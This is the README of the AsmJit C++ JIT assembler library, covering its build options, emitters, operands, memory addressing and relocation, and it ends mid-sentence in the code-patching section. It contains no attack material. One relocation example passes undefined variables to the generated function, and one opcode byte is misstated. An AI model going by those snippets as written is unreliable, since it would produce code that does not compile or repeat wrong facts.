+------------ + +AsmJit is a complete JIT and remote assembler for C++ language. It can generate native code for x86 and x64 architectures and supports the whole x86/x64 instruction set - from legacy MMX to the newest AVX512. It has a type-safe API that allows C++ compiler to do semantic checks at compile-time even before the assembled code is generated and/or executed. + +AsmJit, as the name implies, started as a project that provided JIT code-generation and execution. However, AsmJit evolved and it now contains features that are far beyond the scope of a simple JIT compilation. To keep the library small and lightweight the functionality not strictly related to JIT is provided by a sister project called [asmtk](https://github.com/asmjit/asmtk). + +Minimal Example +--------------- + +```c++ +#include +#include + +using namespace asmjit; + +// Signature of the generated function. +typedef int (*Func)(void); + +int main(int argc, char* argv[]) { + JitRuntime rt; // Runtime specialized for JIT code execution. + + CodeHolder code; // Holds code and relocation information. + code.init(rt.getCodeInfo()); // Initialize to the same arch as JIT runtime. + + X86Assembler a(&code); // Create and attach X86Assembler to `code`. + a.mov(x86::eax, 1); // Move one to 'eax' register. + a.ret(); // Return from function. + // ----> X86Assembler is no longer needed from here and can be destroyed <---- + + Func fn; + Error err = rt.add(&fn, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error returned by AsmJit. + // ----> CodeHolder is no longer needed from here and can be destroyed <---- + + int result = fn(); // Execute the generated code. + printf("%d\n", result); // Print the resulting "1". + + // All classes use RAII, all resources will be released before `main()` returns, + // the generated function can be, however, released explicitly if you intend to + // reuse or keep the runtime alive, which you should in a production-ready code. + rt.release(fn); + + return 0; +} +``` + +AsmJit Summary +-------------- + + * Complete x86/x64 instruction set - MMX, SSEx, BMIx, ADX, TBM, XOP, AVXx, FMAx, and AVX512. + * Assembler, CodeBuilder, and CodeCompiler emitters - each suitable for different tasks. + * Built-in CPU vendor and features detection. + * Advanced logging/formatting and robust error handling. + * Virtual memory management similar to malloc/free for JIT code-generation and execution. + * Lightweight and embeddable - 200-250kB compiled with all built-in features. + * Modularity - unneeded features can be disabled at compile-time to make the library smaller. + * Zero dependencies - no external libraries, no STL/RTTI - easy to embed and/or link statically. + * Doesn't use exceptions internally, but allows to attach a "throwable" error handler (your choice). + +Advanced Features +----------------- + + * AsmJit contains a highly compressed instruction database: + * Instruction names - allows to convert instruction id to its name and vice versa. + * Instruction metadata - access (read|write|rw) of all operand combinations of all instructions. + * Instruction signatures - allows to strictly validate if an instruction (with all its operands) is valid. + * AsmJit allows to precisely control how instructions are encoded if there are multiple variations. + * AsmJit is highly dynamic, constructing operands at runtime is a common practice. + * Multiple emitters with the same interface - emit machine code directly or to a representation that can be processed afterwards. + +Important +--------- + +Breaking the official API is sometimes inevitable, what to do? + * Breaking changes are described in [BREAKING.md](./BREAKING.md) document. + * Visit our [Official Chat](https://gitter.im/asmjit/asmjit) if you need a quick help. + * See asmjit tests, they always compile and provide an implementation of a lot of use-cases: + * [asmjit_test_x86_asm.cpp](./test/asmjit_test_x86_cc.cpp) - Tests that use **X86Assembler** and **X86Builder**. + * [asmjit_test_x86_cc.cpp](./test/asmjit_test_x86_cc.cpp) - Tests that use **X86Compiler**. + +TODOs: + * [ ] AsmJit added support for code sections, but only the first section (executable code) works atm. + * [ ] AsmJit supports AVX512, but {sae} and {er} are not handled properly yet. + * [ ] AsmJit next-wip branch implements a brand-new register allocator (and contains reworked CodeBuilder and CodeCompiler), but it's not complete yet. + +Supported Environments +---------------------- + +### C++ Compilers: + + * Tested + * **Clang** - tested by Travis-CI. + * **GCC** - tested by Travis-CI. + * **MinGW** - tested by AppVeyor. + * **MSVC** - tested by AppVeyor. + * Maybe + * **CodeGear** - no maintainers. + * **Intel** - no maintainers. + * Other c++ compilers would require some testing and support in [asmjit_build.h](./src/asmjit/asmjit_build.h). + +### Operating Systems: + + * Tested + * **Linux** - tested by Travis-CI. + * **Mac** - tested by Travis-CI. + * **Windows** - tested by AppVeyor. + * Maybe + * **BSDs** - no maintainers. + * Other operating systems would require some testing and support in [asmjit_build.h](./src/asmjit/asmjit_build.h) and [osutils.cpp](./src/asmjit/base/osutils.cpp). + +### Backends: + + * **X86** - tested by both Travis-CI and AppVeyor. + * **X64** - tested by both Travis-CI and AppVeyor. + * **ARM** - work-in-progress (not public at the moment). + +Project Organization +-------------------- + + * **`/`** - Project root + * **src** - Source code + * **asmjit** - Source code and headers (always point include path in here) + * **base** - Backend independent API + * **arm** - ARM specific API, used only by ARM32 and ARM64 backends + * **x86** - X86 specific API, used only by X86 and X64 backends + * **test** - Unit and integration tests (don't embed in your project) + * **tools** - Tools used for configuring, documenting and generating files + +Configuring & Building +---------------------- + +AsmJit is designed to be easy embeddable in any project. However, it depends on some compile-time macros that can be used to build a specific version of AsmJit that includes or excludes certain features. A typical way of building AsmJit is to use [cmake](https://www.cmake.org), but it's also possible to just include AsmJit source code in your project and just build it. The easiest way to include AsmJit in your project is to just include **src** directory in your project and to define **ASMJIT_STATIC** or **ASMJIT_EMBED**. AsmJit can be just updated from time to time without any changes to this integration process. Do not embed AsmJit's [/test](./test) files in such case as these are used for testing. + +### Build Type: + + * **ASMJIT_DEBUG** - Define to always turn debugging on (regardless of compile-time options detected). + * **ASMJIT_RELEASE** - Define to always turn debugging off (regardless of compile-time options detected). + +By default none of these is defined, AsmJit detects build-type based on compile-time macros and supports most IDE and compiler settings out of box. + +### Build Mode: + + * **ASMJIT_EMBED** - Define to embed AsmJit in another project. Embedding means that neither shared nor static library is created and AsmJit's source files and source files of the product that embeds AsmJit are part of the same target. This way of building AsmJit has certain advantages that are beyond this manual. **ASMJIT_EMBED** behaves similarly to **ASMJIT_STATIC** (no API exports). + * **ASMJIT_STATIC** - Define to build AsmJit as a static library. No symbols are exported in such case. + +By default AsmJit build is configured to be built as a shared library, thus none of **ASMJIT_EMBED** and **ASMJIT_STATIC** is defined. + +### Build Backends: + + * **ASMJIT_BUILD_ARM** - Build ARM32 and ARM64 backends (work-in-progress). + * **ASMJIT_BUILD_X86** - Build X86 and X64 backends. + * **ASMJIT_BUILD_HOST** - Build only the host backend (default). + +If none of **ASMJIT_BUILD_...** is defined AsmJit bails to **ASMJIT_BUILD_HOST**, which will detect the target architecture at compile-time. Each backend automatically supports 32-bit and 64-bit targets, so for example AsmJit with X86 support can generate both 32-bit and 64-bit code. + +### Disabling Features: + + * **ASMJIT_DISABLE_BUILDER** - Disables both **CodeBuilder** and **CodeCompiler** emitters (only **Assembler** will be available). Ideal for users that don't use **CodeBuilder** concept and want to create smaller AsmJit. + * **ASMJIT_DISABLE_COMPILER** - Disables **CodeCompiler** emitter. For users that use **CodeBuilder**, but not **CodeCompiler** + * **ASMJIT_DISABLE_LOGGING** - Disables logging (**Logger** and all classes that inherit it) and formatting features. + * **ASMJIT_DISABLE_TEXT** - Disables everything that uses text-representation and that causes certain strings to be stored in the resulting binary. For example when this flag is enabled all instruction and error names (and related APIs) will not be available. This flag has to be disabled together with **ASMJIT_DISABLE_LOGGING**. This option is suitable for deployment builds or builds that don't want to reveal the use of AsmJit. + * **ASMJIT_DISABLE_VALIDATION** - Disables instruction validation feature. Saves around 5kB of space when used. + +NOTE: Please don't disable any features if you plan to build AsmJit as a shared library that will be used by multiple projects that you don't control (for example asmjit in a Linux distribution). The possibility to disable certain features exists mainly for static builds of AsmJit. + +Using AsmJit +------------ + +AsmJit library uses one global namespace called `asmjit` that provides the whole functionality. Architecture specific code is prefixed by the architecture name and architecture specific registers and operand builders have their own namespace. For example API targeting both X86 and X64 architectures is prefixed with `X86` and registers & operand builders are accessible through `x86` namespace. This design is very different from the initial version of AsmJit and it seems now as the most convenient one. + +### CodeHolder & CodeEmitter + +AsmJit provides two classes that are used together for code generation: + + * **CodeHolder** - Provides functionality to hold generated code and stores all necessary information about code sections, labels, symbols, and possible relocations. + * **CodeEmitter** - Provides functionality to emit code into **CodeHolder**. **CodeEmitter** is abstract and provides just basic building blocks that are then implemented by **Assembler**, **CodeBuilder**, and **CodeCompiler**. + +Code emitters: + + * **Assembler** - Emitter designed to emit machine code directly. + * **CodeBuilder** - Emitter designed to emit code into a representation that can be processed. It stores the whole code in a double linked list consisting of nodes (**CBNode** aka code-builder node). There are nodes that represent instructions (**CBInst**), labels (**CBLabel**), and other building blocks (**CBAlign**, **CBData**, ...). Some nodes are used as markers (**CBSentinel**) and comments (**CBComment**). + * **CodeCompiler** - High-level code emitter that uses virtual registers and contains high-level function building features. **CodeCompiler** is based on **CodeBuilder**, but extends its functionality and introduces new node types starting with CC (**CCFunc**, **CCFuncExit**, **CCFuncCall**). CodeCompiler is the simplest way to start with AsmJit as it abstracts many details required to generate a function in asm language. + +### Runtime + +AsmJit's **Runtime** is designed for execution and/or linking. The **Runtime** itself is abstract and defines only how to **add()** and **release()** code held by **CodeHolder**. **CodeHolder** holds machine code and relocation entries, but should be seen as a temporary object only - after the code in **CodeHolder** is ready, it should be passed to **Runtime** or relocated manually. Users interested in inspecting the generated machine-code (instead of executing or linking) can keep it in **CodeHodler** and process it manually of course. + +The only **Runtime** implementation provided directly by AsmJit is called **JitRuntime**, which is suitable for storing and executing dynamically generated code. **JitRuntime** is used in most AsmJit examples as it makes the code management easy. It allows to add and release dynamically generated functions, so it's suitable for JIT code generators that want to keep many functions alive, and release functions which are no longer needed. + +### Instructions & Operands + +Instructions specify operations performed by the CPU, and operands specify the operation's input(s) and output(s). Each AsmJit's instruction has it's own unique id (**X86Inst::Id** for example) and platform specific code emitters always provide a type safe intrinsic (or multiple overloads) to emit such instruction. There are two ways of emitting an instruction: + + * Using emitter.**instName**(operands...) - A type-safe way provided by platform specific emitters - for example **X86Assembler** provides `mov(X86Gp, X86Gp)`. + * Using emitter.emit(**instId**, operands...) - Allows to emit an instruction in a dynamic way - you just need to know instruction's id and provide its operands. + +AsmJit's operands all inherit from a base class called **Operand** and then specialize its type to: + + * **None** (not used or uninitialized operand). + * **Register** (**Reg**) - Describes either physical or virtual register. Physical registers have id that matches the target's machine id directly, whereas virtual registers must be allocated into physical registers by a register allocator pass. Each **Reg** provides: + * **Register Type** - Unique id that describes each possible register provided by the target architecture - for example X86 backend provides **X86Reg::RegType**, which defines all variations of general purpose registers (GPB-LO, GPB-HI, GPW, GPD, and GPQ) and all types of other registers like K, MM, BND, XMM, YMM, and ZMM. + * **Register Kind** - Groups multiple register types under a single kind - for example all general-purpose registers (of all sizes) on X86 are **X86Reg::kKindGp**, all SIMD registers (XMM, YMM, ZMM) are **X86Reg::kKindVec**, etc. + * **Register Size** - Contains the size of the register in bytes. If the size depends on the mode (32-bit vs 64-bit) then generally the higher size is used (for example RIP register has size 8 by default). + * **Register ID** - Contains physical or virtual id of the register. + * **Memory Address** (**Mem**) - Used to reference a memory location. Each **Mem** provides: + * **Base Register** - A base register id (physical or virtual). + * **Index Register** - An index register id (physical or virtual). + * **Offset** - Displacement or absolute address to be referenced (32-bit if base register is used and 64-bit if base register is not used). + * **Flags** that can describe various architecture dependent information (like scale and segment-override on X86). + * **Immediate Value** (**Imm**) - Immediate values are usually part of instructions (encoded within the instruction itself) or data. + * **Label** - used to reference a location in code or data. Labels must be created by the **CodeEmitter** or by **CodeHolder**. Each label has its unique id per **CodeHolder** instance. + +AsmJit allows to construct operands dynamically, to store them, and to query a complete information about them at run-time. Operands are small (always 16 bytes per **Operand**) and should be always copied if you intend to store them (don't create operands by using **new** keyword, it's not recommended). Operands are safe to be **memcpy()ed** and **memset()ed** if you need to work with arrays of operands. + +Small example of manipulating and using operands: + +```c++ +using namespace asmjit; + +X86Gp getDstRegByValue() { return x86::ecx; } + +void usingOperandsExample(X86Assembler& a) { + // Create some operands. + X86Gp dst = getDstRegByValue(); // Get `ecx` register returned by a function. + X86Gp src = x86::rax; // Get `rax` register directly from the provided `x86` namespace. + X86Gp idx = x86::gpq(10); // Construct `r10` dynamically. + X86Mem m = x86::ptr(src, idx); // Construct [src + idx] memory address - referencing [rax + r10]. + + // Examine `m`: + m.getIndexType(); // Returns `X86Reg::kRegGpq`. + m.getIndexId(); // Returns 10 (`r10`). + + // Reconstruct `idx` stored in mem: + X86Gp idx_2 = X86Gp::fromTypeAndId(m.getIndexType(), m.getIndexId()); + idx == idx_2; // True, `idx` and idx_2` are identical. + + Operand op = m; // Possible. + op.isMem(); // True (can be casted to Mem and X86Mem). + + m == op; // True, `op` is just a copy of `m`. + static_cast(op).addOffset(1); // Static cast is fine and valid here. + m == op; // False, `op` now points to [rax + r10 + 1], which is not [rax + r10]. + + // Emitting 'mov' + a.mov(dst, m); // Type-safe way. + a.mov(dst, op); // Not possible, `mov` doesn't provide `X86Reg, Operand` overload. + + a.emit(X86Inst::kIdMov, dst, m); // Type-unsafe, but possible. + a.emit(X86Inst::kIdMov, dst, op); // Also possible, `emit()` is typeless and can be used dynamically. +} +``` + +Some operands have to be created explicitly by `CodeEmitter`. For example labels must be created by `newLabel()` before they are used. + +### Assembler Example + +X86Assembler is a code emitter that emits machine code into a CodeBuffer directly. It's capable of targeting both 32-bit and 64-bit instruction sets and it's possible to target both instruction sets within the same code-base. The following example shows how to generate a function that works in both 32-bit and 64-bit modes, and how to use JitRuntime, CodeHolder, and X86Assembler together. + +The example handles 3 calling conventions manually just to show how it could be done, however, AsmJit contains utilities that can be used to create function prologs and epilogs automatically, but these concepts will be explained later. + +```c++ +using namespace asmjit; + +// Signature of the generated function. +typedef int (*SumFunc)(const int* arr, size_t count); + +int main(int argc, char* argv[]) { + assert(sizeof(void*) == 8 && + "This example requires 64-bit environment."); + + JitRuntime rt; // Create a runtime specialized for JIT. + + CodeHolder code; // Create a CodeHolder. + code.init(rt.getCodeInfo()); // Initialize it to be compatible with `rt`. + + X86Assembler a(&code); // Create and attach X86Assembler to `code`. + + // Decide between 32-bit CDECL, WIN64, and SysV64 calling conventions: + // 32-BIT - passed all arguments by stack. + // WIN64 - passes first 4 arguments by RCX, RDX, R8, and R9. + // UNIX64 - passes first 6 arguments by RDI, RSI, RCX, RDX, R8, and R9. + X86Gp arr, cnt; + X86Gp sum = x86::eax; // Use EAX as 'sum' as it's a return register. + + if (ASMJIT_ARCH_64BIT) { + bool isWinOS = static_cast(ASMJIT_OS_WINDOWS); + arr = isWinOS ? x86::rcx : x86::rdi; // First argument (array ptr). + cnt = isWinOS ? x86::rdx : x86::rsi; // Second argument (number of elements) + } + else { + arr = x86::edx; // Use EDX to hold the array pointer. + cnt = x86::ecx; // Use ECX to hold the counter. + a.mov(arr, x86::ptr(x86::esp, 4)); // Fetch first argument from [ESP + 4]. + a.mov(cnt, x86::ptr(x86::esp, 8)); // Fetch second argument from [ESP + 8]. + } + + Label Loop = a.newLabel(); // To construct the loop, we need some labels. + Label Exit = a.newLabel(); + + a.xor_(sum, sum); // Clear 'sum' register (shorter than 'mov'). + a.test(cnt, cnt); // Border case: + a.jz(Exit); // If 'cnt' is zero jump to 'Exit' now. + + a.bind(Loop); // Start of a loop iteration. + a.add(sum, x86::dword_ptr(arr)); // Add int at [arr] to 'sum'. + a.add(arr, 4); // Increment 'arr' pointer. + a.dec(cnt); // Decrease 'cnt'. + a.jnz(Loop); // If not zero jump to 'Loop'. + + a.bind(Exit); // Exit to handle the border case. + a.ret(); // Return from function ('sum' == 'eax'). + // ----> X86Assembler is no longer needed from here and can be destroyed <---- + + SumFunc fn; + Error err = rt.add(&fn, &code); // Add the generated code to the runtime. + + if (err) return 1; // Handle a possible error returned by AsmJit. + // ----> CodeHolder is no longer needed from here and can be destroyed <---- + + static const int array[6] = { 4, 8, 15, 16, 23, 42 }; + + int result = fn(array, 6); // Execute the generated code. + printf("%d\n", result); // Print sum of array (108). + + rt.release(fn); // Remove the function from the runtime. + return 0; +} +``` + +The example should be self-explanatory. It shows how to work with labels, how to use operands, and how to emit instructions that can use different registers based on runtime selection. It implements 32-bit CDECL, WIN64, and SysV64 caling conventions and will work on most X86 environments. + +### More About Memory Addresses + +X86 provides a complex memory addressing model that allows to encode addresses having a BASE register, INDEX register with a possible scale (left shift), and displacement (called offset in AsmJit). Memory address can also specify memory segment (segment-override in X86 terminology) and some instructions (gather / scatter) require INDEX to be a VECTOR register instead of a general-purpose register. AsmJit allows to encode and work with all forms of addresses mentioned and implemented by X86. It also allows to construct a 64-bit memory address, which is only allowed in one form of 'mov' instruction. + +```c++ +// Memory operand construction is provided by x86 namespace. +using namespace asmjit; +using namespace asmjit::x86; // Easier to access x86 regs. + +// BASE + OFFSET. +X86Mem a = ptr(rax); // a = [rax] +X86Mem b = ptr(rax, 15) // b = [rax + 15] + +// BASE + INDEX + SCALE - Scale is in BITS as used by X86! +X86Mem c = ptr(rax, rbx) // c = [rax + rbx] +X86Mem d = ptr(rax, rbx, 2) // d = [rax + rbx << 2] +X86Mem e = ptr(rax, rbx, 2, 15) // e = [rax + rbx << 2 + 15] + +// BASE + VM (Vector Index) (encoded as MOD+VSIB). +X86Mem f = ptr(rax, xmm1) // f = [rax + xmm1] +X86Mem g = ptr(rax, xmm1, 2) // g = [rax + xmm1 << 2] +X86Mem h = ptr(rax, xmm1, 2, 15) // h = [rax + xmm1 << 2 + 15] + +// WITHOUT BASE: +uint64_t ADDR = (uint64_t)0x1234; +X86Mem i = ptr(ADDR); // i = [0x1234] +X86Mem j = ptr(ADDR, rbx); // j = [0x1234 + rbx] +X86Mem k = ptr(ADDR, rbx, 2); // k = [0x1234 + rbx << 2] + +// LABEL - Will be encoded as RIP (64-bit) or absolute address (32-bit). +Label L = ...; +X86Mem m = ptr(L); // m = [L] +X86Mem n = ptr(L, rbx); // n = [L + rbx] +X86Mem o = ptr(L, rbx, 2); // o = [L + rbx << 2] +X86Mem p = ptr(L, rbx, 2, 15); // p = [L + rbx << 2 + 15] + +// RIP - 64-bit only (RIP can't use INDEX). +X86Mem q = ptr(rip, 24); // q = [rip + 24] +``` + +Memory operands can optionally contain memory size. This is required by instructions where the memory size cannot be deduced from other operands, like `inc` and `dec`: + +```c++ +X86Mem a = x86::dword_ptr(rax, rbx); // dword ptr [rax + rbx]. +X86Mem b = x86::qword_ptr(rdx, rsi, 0, 1);// qword ptr [rdx + rsi << 0 + 1]. +``` + +Memory operands provide API that can be used to work with them: + +```c++ +X86Mem mem = x86::dword_ptr(rax, 12); // dword ptr [rax + 12]. + +mem.hasBase(); // true. +mem.hasIndex(); // false. +mem.getSize(); // 4. +mem.getOffset(); // 12. + +mem.setSize(0); // Sets the size to 0 (makes it sizeless). +mem.addOffset(-1); // Adds -1 to the offset and makes it 11. +mem.setOffset(0); // Sets the offset to 0. +mem.setBase(rcx); // Changes BASE to RCX. +mem.setIndex(rax); // Changes INDEX to RAX. +mem.hasIndex(); // true. + +// ... +``` + +Making changes to memory operand is very comfortable when emitting loads and stores: + +```c++ +using namespace asmjit; + +X86Assembler a(...); // Your initialized X86Assembler. +X86Mem m = x86::ptr(eax); // Construct [eax] memory operand. + +// One way of emitting bunch of loads is to use `mem.adjusted()`. It returns +// a new memory operand and keeps the source operand unchanged. +a.movaps(x86::xmm0, m); // No adjustment needed to load [eax]. +a.movaps(x86::xmm1, m.adjusted(16)); // Loads [eax + 16]. +a.movaps(x86::xmm2, m.adjusted(32)); // Loads [eax + 32]. +a.movaps(x86::xmm3, m.adjusted(48)); // Loads [eax + 48]. + +// ... do something with xmm0-3 ... + +// Another way of adjusting memory is to change the operand in-place. If you +// want to keep the original operand you can simply clone it. +X86Mem mx = m.clone(); +a.movaps(mx, x86::xmm0); mx.addOffset(16);// Stores [eax] (and adds 16 to mx). +a.movaps(mx, x86::xmm1); mx.addOffset(16);// Stores [eax + 16] (and adds 16 to mx). +a.movaps(mx, x86::xmm2); mx.addOffset(16);// Stores [eax + 32] (and adds 16 to mx). +a.movaps(mx, x86::xmm3); // Stores [eax + 48]. +``` + +You can explore the possibilities by taking a look at [base/operand.h](./src/asmjit/base/operand.h) and [x86/x86operand.h](./src/asmjit/x86/x86operand.h). Always use `X86Mem` when targeting X86 as it extends the base `Mem` operand with features provided only by X86. + +### More About CodeInfo + +In the first complete example the `CodeInfo` is retrieved from `JitRuntime`. It's logical as `JitRuntime` will always return a `CodeInfo` that is compatible with the runtime environment. For example if your application runs in 64-bit mode the `CodeInfo` will use `ArchInfo::kTypeX64` architecture in contrast to `ArchInfo::kTypeX86`, which will be used in 32-bit mode. AsmJit also allows to setup `CodeInfo` manually, and to select a different architecture when needed. So let's do something else this time, let's always generate a 32-bit code and print it's binary representation. To do that, we create our own `CodeInfo` and initialize it to `ArchInfo::kTypeX86` architecture. CodeInfo will populate all basic fields just based on the architecture we provide, so it's super-easy: + +```c++ +using namespace asmjit; + +int main(int argc, char* argv[]) { + using namespace asmjit::x86; // Easier access to x86/x64 registers. + + CodeHolder code; // Create a CodeHolder. + code.init(CodeInfo(ArchInfo::kTypeX86));// Initialize it for a 32-bit X86 target. + + // Generate a 32-bit function that sums 4 floats and looks like: + // void func(float* dst, const float* a, const float* b) + X86Assembler a(&code); // Create and attach X86Assembler to `code`. + + a.mov(eax, dword_ptr(esp, 4)); // Load the destination pointer. + a.mov(ecx, dword_ptr(esp, 8)); // Load the first source pointer. + a.mov(edx, dword_ptr(esp, 12)); // Load the second source pointer. + + a.movups(xmm0, ptr(ecx)); // Load 4 floats from [ecx] to XMM0. + a.movups(xmm1, ptr(edx)); // Load 4 floats from [edx] to XMM1. + a.addps(xmm0, xmm1); // Add 4 floats in XMM1 to XMM0. + a.movups(ptr(eax), xmm0); // Store the result to [eax]. + a.ret(); // Return from function. + + // Now we have two options if we want to do something with the code hold + // by CodeHolder. In order to use it we must first sync X86Assembler with + // the CodeHolder as it doesn't do it for every instruction it generates for + // performance reasons. The options are: + // + // 1. Detach X86Assembler from CodeHolder (will automatically sync). + // 2. Sync explicitly, allows to use X86Assembler again if needed. + // + // NOTE: AsmJit always syncs internally when CodeHolder needs to access these + // buffers and knows that there is an Assembler attached, so you have to sync + // explicitly only if you bypass CodeHolder and intend to do something on your + // own. + code.sync(); // So let's sync, it's easy. + + // We have no Runtime this time, it's on us what we do with the code. + // CodeHolder stores code in SectionEntry, which embeds CodeSection + // and CodeBuffer structures. We are interested in section's CodeBuffer only. + // + // NOTE: The first section is always '.text', so it's safe to just use 0 index. + CodeBuffer& buf = code.getSectionEntry(0)->buffer; + + // Print the machine-code generated or do something more interesting with it? + // 8B4424048B4C24048B5424040F28010F58010F2900C3 + for (size_t i = 0; i < buf.length; i++) + printf("%02X", buf.data[i]); + + return 0; +} +``` + +### Explicit Code Relocation + +CodeInfo contains much more information than just the target architecture. It can be configured to specify a base-address (or a virtual base-address in a linker terminology), which could be static (useful when you know the location of the target's machine code) or dynamic. AsmJit assumes dynamic base-address by default and relocates the code held by `CodeHolder` to a user-provided address on-demand. To be able to relocate to a user-provided address it needs to store some information about relocations, which is represented by `CodeHolder::RelocEntry`. Relocation entries are only required if you call external functions from the generated code that cannot be encoded by using a 32-bit displacement (X64 architecture doesn't provide 64-bit encodable displacement) and when a label referenced in one section is bound in another, but this is not really a JIT case and it's more related to AOT (ahead-of-time) compilation. + +Next example shows how to use a built-in virtual memory manager `VMemMgr` instead of using `JitRuntime` (just in case you want to use your own memory management) and how to relocate the generated code into your own memory block - you can use your own virtual memory allocator if you need that, but that's OS specific and it's already provided by AsmJit, so we will use what AsmJit offers instead of rolling our own here. + +The following code is similar to the previous one, but implements a function working in both 32-bit and 64-bit environments: + +```c++ +using namespace asmjit; + +typedef void (*SumIntsFunc)(int* dst, const int* a, const int* b); + +int main(int argc, char* argv[]) { + CodeHolder code; // Create a CodeHolder. + code.init(CodeInfo(ArchInfo::kTypeHost));// Initialize it for the host architecture. + + X86Assembler a(&code); // Create and attach X86Assembler to `code`. + + // Generate a function runnable in both 32-bit and 64-bit architectures: + bool isX86 = static_cast(ASMJIT_ARCH_X86); + bool isWin = static_cast(ASMJIT_OS_WINDOWS); + + // Signature: 'void func(int* dst, const int* a, const int* b)'. + X86Gp dst; + X86Gp src_a; + X86Gp src_b; + + // Handle the difference between 32-bit and 64-bit calling convention. + // (arguments passed through stack vs. arguments passed by registers). + if (isX86) { + dst = x86::eax; + src_a = x86::ecx; + src_b = x86::edx; + a.mov(dst , dword_ptr(x86::esp, 4)); // Load the destination pointer. + a.mov(src_a, dword_ptr(x86::esp, 8)); // Load the first source pointer. + a.mov(src_b, dword_ptr(x86::esp, 12));// Load the second source pointer. + } + else { + dst = isWin ? x86::rcx : x86::rdi; // First argument (destination pointer). + src_a = isWin ? x86::rdx : x86::rsi; // Second argument (source 'a' pointer). + src_b = isWin ? x86::r8 : x86::rdx; // Third argument (source 'b' pointer). + } + + a.movdqu(x86::xmm0, x86::ptr(src_a)); // Load 4 ints from [src_a] to XMM0. + a.movdqu(x86::xmm1, x86::ptr(src_b)); // Load 4 ints from [src_b] to XMM1. + a.paddd(x86::xmm0, x86::xmm1); // Add 4 ints in XMM1 to XMM0. + a.movdqu(x86::ptr(dst), x86::xmm0); // Store the result to [dst]. + a.ret(); // Return from function. + + // After the code was generated it can be relocated manually to any memory + // location, however, we need to know it's size before we perform memory + // allocation. CodeHolder's `getCodeSize()` returns the worst estimated + // code-size (the biggest possible) in case that relocations are not + // possible without trampolines (in that case some extra code at the end + // of the current code buffer is generated during relocation). + size_t size = code.getCodeSize(); + + // Instead of rolling our own virtual memory allocator we can use the one + // AsmJit uses. It's decoupled so you don't need to use Runtime for that. + VMemMgr vm; + + void* p = vm.alloc(size); // Allocate a virtual memory (executable). + if (!p) return 0; // Handle a possible out-of-memory case. + + size_t realSize = code.relocate(p); // Relocate & store the output in 'p'. + + // Execute the generated function. + int inA[4] = { 4, 3, 2, 1 }; + int inB[4] = { 1, 5, 2, 8 }; + int out[4]; + + // This code uses AsmJit's ptr_as_func<> to cast between void* and SumIntsFunc. + ptr_as_func(p)(result, arr_a, arr_b); + + // Prints {5 8 4 9} + printf("{%d %d %d %d}\n", out[0], out[1], out[2], out[3]); + + // Release 'p' is it's no longer needed. It will be destroyed with 'vm' + // instance anyway, but it's a good practice to release it explicitly + // when you know that the function will not be needed anymore. + vm.release(p); + + return 0; +} +``` + +Configure the CodeInfo by calling `CodeInfo::setBaseAddress()` to initialize it to a user-provided base-address before passing it to `CodeHolder`: + +```c++ +// Configure CodeInfo. +CodeInfo ci(...); +ci.setBaseAddress(uint64_t(0x1234)); + +// Then initialize CodeHolder with it. +CodeHolder code; +code.init(ci); + +// ... after you emit the machine code it will be relocated to the base address +// provided and stored in the pointer passed to `CodeHolder::relocate()`. +``` + +TODO: Maybe `CodeHolder::relocate()` is not the best name? + +### Using Native Registers - zax, zbx, zcx, ... + +AsmJit's X86 code emitters always provide functions to construct machine-size registers depending on the target. This feature is for people that want to write code targeting both 32-bit and 64-bit at the same time. In AsmJit terminology these registers are named **zax**, **zcx**, **zdx**, **zbx**, **zsp**, **zbp**, **zsi**, and **zdi** (they are defined in this exact order by X86). They are accessible through `X86Assembler`, `X86Builder`, and `X86Compiler`. The following example illustrates how to use this feature: + +```c++ +using namespace asmjit; + +typedef int (*Func)(void); + +int main(int argc, char* argv[]) { + JitRuntime rt; // Create a runtime specialized for JIT. + + CodeHolder code; // Create a CodeHolder. + code.init(rt.getCodeInfo()); // Initialize it to be compatible with `rt`. + + X86Assembler a(&code); // Create and attach X86Assembler to `code`. + + // Let's get these registers from X86Assembler. + X86Gp zbp = a.zbp(); + X86Gp zsp = a.zsp(); + + int stackSize = 32; + + // Function prolog. + a.push(zbp); + a.mov(zbp, zsp); + a.sub(zsp, stackSize); + + // ... emit some code (this just sets return value to zero) ... + a.xor_(x86::eax, x86::eax); + + // Function epilog and return. + a.mov(zsp, zbp); + a.pop(zbp); + a.ret(); + + // To make the example complete let's call it. + Func fn; + Error err = rt.add(&fn, &code); // Add the generated code to the runtime. + if (err) return 1; // Handle a possible error returned by AsmJit. + + int result = fn(); // Execute the generated code. + printf("%d\n", result); // Print the resulting "0". + + rt.release(fn); // Remove the function from the runtime. + return 0; +} +``` + +The example just returns `0`, but the function generated contains a standard prolog and epilog sequence and the function itself reserves 32 bytes of local stack. The advantage is clear - a single code-base can handle multiple targets easily. If you want to create a register of native size dynamically by specifying its id it's also possible: + +```c++ +void example(X86Assembler& a) { + X86Gp zax = a.gpz(X86Gp::kIdAx); + X86Gp zbx = a.gpz(X86Gp::kIdBx); + X86Gp zcx = a.gpz(X86Gp::kIdCx); + X86Gp zdx = a.gpz(X86Gp::kIdDx); + + // You can also change register's id easily. + X86Gp zsp = zax; + zsp.setId(4); // or X86Gp::kIdSp. +} +``` + +Cloning existing registers and chaning their IDs is fine in AsmJit; and this technique is used internally in many places. + +### Using Assembler as Code-Patcher + +This is an advanced topic that is sometimes unavoidable. AsmJit by default appends machine-code it generates into a `CodeBuffer`, however, it also allows to set the offset in `CodeBuffer` explicitly and to overwrite its content. This technique is extremely dangerous for asm beginners as X86 instructions have variable length (see below), so you should in general only patch code to change instruction's offset or some basic other details you didn't know about the first time you emitted it. A typical scenario that requires code-patching is when you start emitting function and you don't know how much stack you want to reserve for it. + +Before we go further it's important to introduce instruction options, because they can help with code-patching (and not only patching, but that will be explained in AVX-512 section): + + * Many general-purpose instructions (especially arithmetic ones) on X86 have multiple encodings - in AsmJit this is usually called 'short form' and 'long form'. + * AsmJit always tries to use 'short form' as it makes the resulting machine-code smaller, which is always good - this decision is used by majority of assemblers out there. + * AsmJit allows to override the default decision by using `short_()` and `long_()` instruction options to force short or long form, respectively. The most useful is `long_()` as it basically forces AsmJit to always emit the long form. The `short_()` is not that useful as it's automatic (except jumps to non-bound labels). Note the underscore after each function name as it avoids collision with built-in C++ types. + +To illustrate what short form and long form means in binary let's assume we want to emit `add esp, 16` instruction, which has two possible binary encodings: + + * `83C410` - This is a short form aka `short add esp, 16` - You can see opcode byte (0x8C), MOD/RM byte (0xC4) and an 8-bit immediate value representing `16`. + * `81C410000000` - This is a long form aka `long add esp, 16` - You can see a different opcode byte (0x81), the same Mod/RM byte (0xC4) and a 32-bit 